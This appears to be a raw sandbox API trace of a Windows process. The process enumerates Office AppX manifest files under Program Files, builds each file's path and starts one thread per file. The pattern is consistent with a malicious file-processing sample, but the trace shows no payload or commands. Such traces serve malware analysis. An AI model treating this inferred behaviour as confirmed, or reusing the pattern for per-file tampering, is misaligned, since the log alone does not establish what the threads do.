	[0093.339] wcscat (in: _Dest=0x4773e10, _Source="AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml"
	[0093.339] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4773e10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11e4
	[0093.339] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf982bd9c, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x34b4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP8AF5~1.XML")) returned 1
	[0093.339] wcscmp (_String1="AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.339] wcscmp (_String1="AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.339] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x47740b0
	[0093.339] wcscpy (in: _Dest=0x47740b0, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.340] wcscat (in: _Dest=0x47740b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.340] wcscat (in: _Dest=0x47740b0, _Source="AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml"
	[0093.340] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47740b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11e0
	[0093.340] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml", cAlternateFileName="APF26A~1.XML")) returned 1
	[0093.340] wcscmp (_String1="AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.340] wcscmp (_String1="AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.340] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x4773fd0
	[0093.340] wcscpy (in: _Dest=0x4773fd0, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.340] wcscat (in: _Dest=0x4773fd0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.340] wcscat (in: _Dest=0x4773fd0, _Source="AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml"
	[0093.340] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4773fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11dc
	[0093.341] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf2f172d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf2f172d, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbf33deae, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml", cAlternateFileName="APC553~1.XML")) returned 1
	[0093.341] wcscmp (_String1="AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.341] wcscmp (_String1="AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.341] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x47730f0
	[0093.341] wcscpy (in: _Dest=0x47730f0, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.341] wcscat (in: _Dest=0x47730f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.341] wcscat (in: _Dest=0x47730f0, _Source="AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml"
	[0093.341] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47730f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11d8
	[0093.342] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf2f172d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf2f172d, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbf2f172d, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x53d21, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP9FA1~1.XML")) returned 1
	[0093.342] wcscmp (_String1="AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.342] wcscmp (_String1="AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.342] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x4772e50
	[0093.342] wcscpy (in: _Dest=0x4772e50, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.342] wcscat (in: _Dest=0x4772e50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.342] wcscat (in: _Dest=0x4772e50, _Source="AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml"
	[0093.342] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4772e50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11d4
	[0093.343] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3a41, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP330B~1.XML")) returned 1
	[0093.343] wcscmp (_String1="AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.343] wcscmp (_String1="AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.343] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x4773010
	[0093.343] wcscpy (in: _Dest=0x4773010, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.343] wcscat (in: _Dest=0x4773010, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.343] wcscat (in: _Dest=0x4773010, _Source="AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml"
	[0093.343] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4773010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11d0
	[0093.344] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83543a09, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x573e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~1.XML")) returned 1
	[0093.344] wcscmp (_String1="AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.344] wcscmp (_String1="AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.344] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x4774270
	[0093.344] wcscpy (in: _Dest=0x4774270, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.344] wcscat (in: _Dest=0x4774270, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.344] wcscat (in: _Dest=0x4774270, _Source="AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml"
	[0093.344] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4774270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11cc
	[0093.345] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP6206~1.XML")) returned 1
	[0093.345] wcscmp (_String1="AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.345] wcscmp (_String1="AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.345] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x4772750
	[0093.345] wcscpy (in: _Dest=0x4772750, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.345] wcscat (in: _Dest=0x4772750, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.345] wcscat (in: _Dest=0x4772750, _Source="AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml"
	[0093.345] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4772750, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c8
	[0093.346] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8351d7a8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfdea, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", cAlternateFileName="APD1EA~1.XML")) returned 1
	[0093.346] wcscmp (_String1="AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.346] wcscmp (_String1="AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.346] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x4773390
	[0093.346] wcscpy (in: _Dest=0x4773390, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.346] wcscat (in: _Dest=0x4773390, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.346] wcscat (in: _Dest=0x4773390, _Source="AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml"
	[0093.346] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4773390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c4
	[0093.347] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP6EFE~1.XML")) returned 1
	[0093.347] wcscmp (_String1="AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.347] wcscmp (_String1="AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.347] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x4772f30
	[0093.347] wcscpy (in: _Dest=0x4772f30, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.347] wcscat (in: _Dest=0x4772f30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.347] wcscat (in: _Dest=0x4772f30, _Source="AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml"
	[0093.347] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4772f30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c0
	[0093.347] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf982bd9c, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf98c485a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml", cAlternateFileName="APB63F~1.XML")) returned 1
	[0093.347] wcscmp (_String1="AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.347] wcscmp (_String1="AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.347] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x4772c90
	[0093.347] wcscpy (in: _Dest=0x4772c90, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.347] wcscat (in: _Dest=0x4772c90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.348] wcscat (in: _Dest=0x4772c90, _Source="AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml"
	[0093.348] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4772c90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11bc
	[0093.348] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", cAlternateFileName="APB913~1.XML")) returned 1
	[0093.348] wcscmp (_String1="AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.348] wcscmp (_String1="AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.348] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x4773d30
	[0093.348] wcscpy (in: _Dest=0x4773d30, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.348] wcscat (in: _Dest=0x4773d30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.348] wcscat (in: _Dest=0x4773d30, _Source="AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml"
	[0093.348] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4773d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11b8
	[0093.349] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP4637~1.XML")) returned 1
	[0093.349] wcscmp (_String1="AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.349] wcscmp (_String1="AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.349] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x4773470
	[0093.349] wcscpy (in: _Dest=0x4773470, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.349] wcscat (in: _Dest=0x4773470, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.349] wcscat (in: _Dest=0x4773470, _Source="AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml"
	[0093.349] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4773470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11b4
	[0093.350] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x618a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP2FE2~1.XML")) returned 1
	[0093.350] wcscmp (_String1="AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.350] wcscmp (_String1="AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.350] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x4773550
	[0093.350] wcscpy (in: _Dest=0x4773550, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.350] wcscat (in: _Dest=0x4773550, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.350] wcscat (in: _Dest=0x4773550, _Source="AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml"
	[0093.350] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4773550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11b0
	[0093.350] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP2C4B~1.XML")) returned 1
	[0093.350] wcscmp (_String1="AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.350] wcscmp (_String1="AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.351] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x4772bb0
	[0093.351] wcscpy (in: _Dest=0x4772bb0, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.351] wcscat (in: _Dest=0x4772bb0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.351] wcscat (in: _Dest=0x4772bb0, _Source="AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml"
